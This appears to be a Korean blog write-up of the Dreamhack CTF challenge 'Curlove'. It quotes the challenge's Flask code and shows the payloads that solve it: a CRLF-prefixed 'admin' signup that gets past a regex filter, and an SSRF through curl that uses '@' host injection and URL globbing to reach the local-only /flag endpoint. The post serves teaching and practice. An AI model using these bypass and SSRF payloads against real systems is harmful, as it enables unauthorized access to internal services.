Post

Curlove

Curlove

Curlove

Description

curl 기능을 사용할 수 있는 시스템입니다.
/flag 엔드포인트로 요청하여 플래그를 얻어주세요.

Attack

admin으로 로그인하여 /flag로 요청하여 FLAG를 획득해야한다. /flag 페이지는 localhost에서 호출시에만 FLAG를 반환한다.

1
2
3
4
5
6
7
@app.route("/flag", methods=["GET"])
def flag():
    ip_address = request.remote_addr
    if ip_address == "127.0.0.1":
        return FLAG
    else:
        return "Only local access allowed", 403
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/signup", methods=["GET", "POST"])
def signup():
    if request.method == "GET":
        return render_template("signup.html")

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username == "" or password == "":
            return render_template("login.html", msg="Enter username and password")

        m = search(r".*", username)

        if username or m:
            if m.group().strip().find("admin") == 0:
                return render_template("signup.html", msg="Not allowed username"), 403
            else:
                username = username.strip()
                sha256_password = sha256((password).encode()).hexdigest()
                register_user(username, sha256_password)
                return redirect("/login")

먼저 admin으로 로그인하기 위해서는 회원가입을 진행해야한다.

하지만 m = search(r".*", username) 구문을 통해 입력한 username에서 admin이란 문자열을 검사하여 필터링한다.

해당 구문은 multiline flag 옵션이 없어, 첫번째 줄만 검사를 하게 된다.

따라서 CRLF(%0D%0A)를 사용하여 개행 후 admin을 입력하면 해당 정규 표현식을 우회하여 admin으로 시작하는 계정을 생성 할 수 있다.

1
2
3
4
5
6
POST /signup HTTP/1.1
Host: localhost
...
Connection: keep-alive

username=%0d%0aadmin&password=123

admin 으로 로그인 이후 아래와 같은 화면이 보이고 해당 기능은 /admin 으로 요청을 보낸다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@app.route("/admin", methods=["GET", "POST"])
def admin():
    if not session:
        return redirect("/login")
    
    if session["isAdmin"] == False:
        return redirect("/guest")

    if request.method == "GET":
        return render_template("admin.html")

    if request.method == "POST":
        url = request.form["url"].strip()
        #url이 http로 시작하고 7~20번째 문자는 dreamhack.io이여야한다.
        if (url[0:4] != "http") or (url[7:20] != "dreamhack.io/"):
            return render_template("admin.html", msg="Not allowed URL")
        #url에 .. 과 %는 필터링
        if (".." in url) or ("%" in url):
            return render_template("admin.html", msg="Not allowed path traversal")
        #url에 , 이 있거나 flag로 끝나면 안됨
        if url.endswith("flag") or ("," in url):
            return render_template("admin.html", msg="Not allowed string or character")
        try:
            print(url, flush=True)
            response = subprocess.run(
                ["curl", f"{url}"], capture_output=True, text=True, timeout=1
            )
            return render_template("admin.html", response=response.stdout)

        except subprocess.TimeoutExpired:
            return render_template("admin.html", msg="Timeout !!!")

입력한 URL을 통해 /flag 를 호출해야하는데 다양한 필터링이 존재한다.

http://dreamhack.io/@localhost/flag/ 이후에 @ 가 입력이되어서 이미 / 을 통해 URL의 구조가 완성되어서 공격이 불가하다.

첫번째 필터링 조건에서 http 이후 3개의 문자를 조작할 수 있는데 이를 이용해 @ 를 통한 Host Injection을 시도한다.

아래 URL로 curl 요청을 하게 되면 0.0.0.0 으로 요청이 조작되어 전송된다.

1
curl -v http@0/dreamhack.io

localhost에서 보내는 조건은 충족되었고, /flag 페이지만 호출 할 수 있으면 된다.

위의 curl 요청에서 /dreamhack.io 가 URL Path로 인식이 되는데, /flag 호출을 위해서는 http@0/dreamhack.io/../flag 와 같은 형태가 되어야한다.

하지만 코드에서 .. 은 Path Traversal로 필터링이 되고있다.

curl 의 URL globbing 기법을 통해 이를 우회할 수 있다.

URL globbing 기법은 curl 에서 동일한 URL 범위를 쉽게 지정하여 여러번 요청을 보낼 수 있는 기능이며, 아래와 같이 사용할 수 있다.

1
curl -O "http://example.com/{one,two,three,alpha,beta}.html"

이를 이용해 해당 필터링을 우회하면 아래와 같은 요청이 완성되고 Flag 획득이 가능하다.

1
http@0/dreamhack.io/{.}./flag#
This post is licensed under CC BY 4.0 by the author.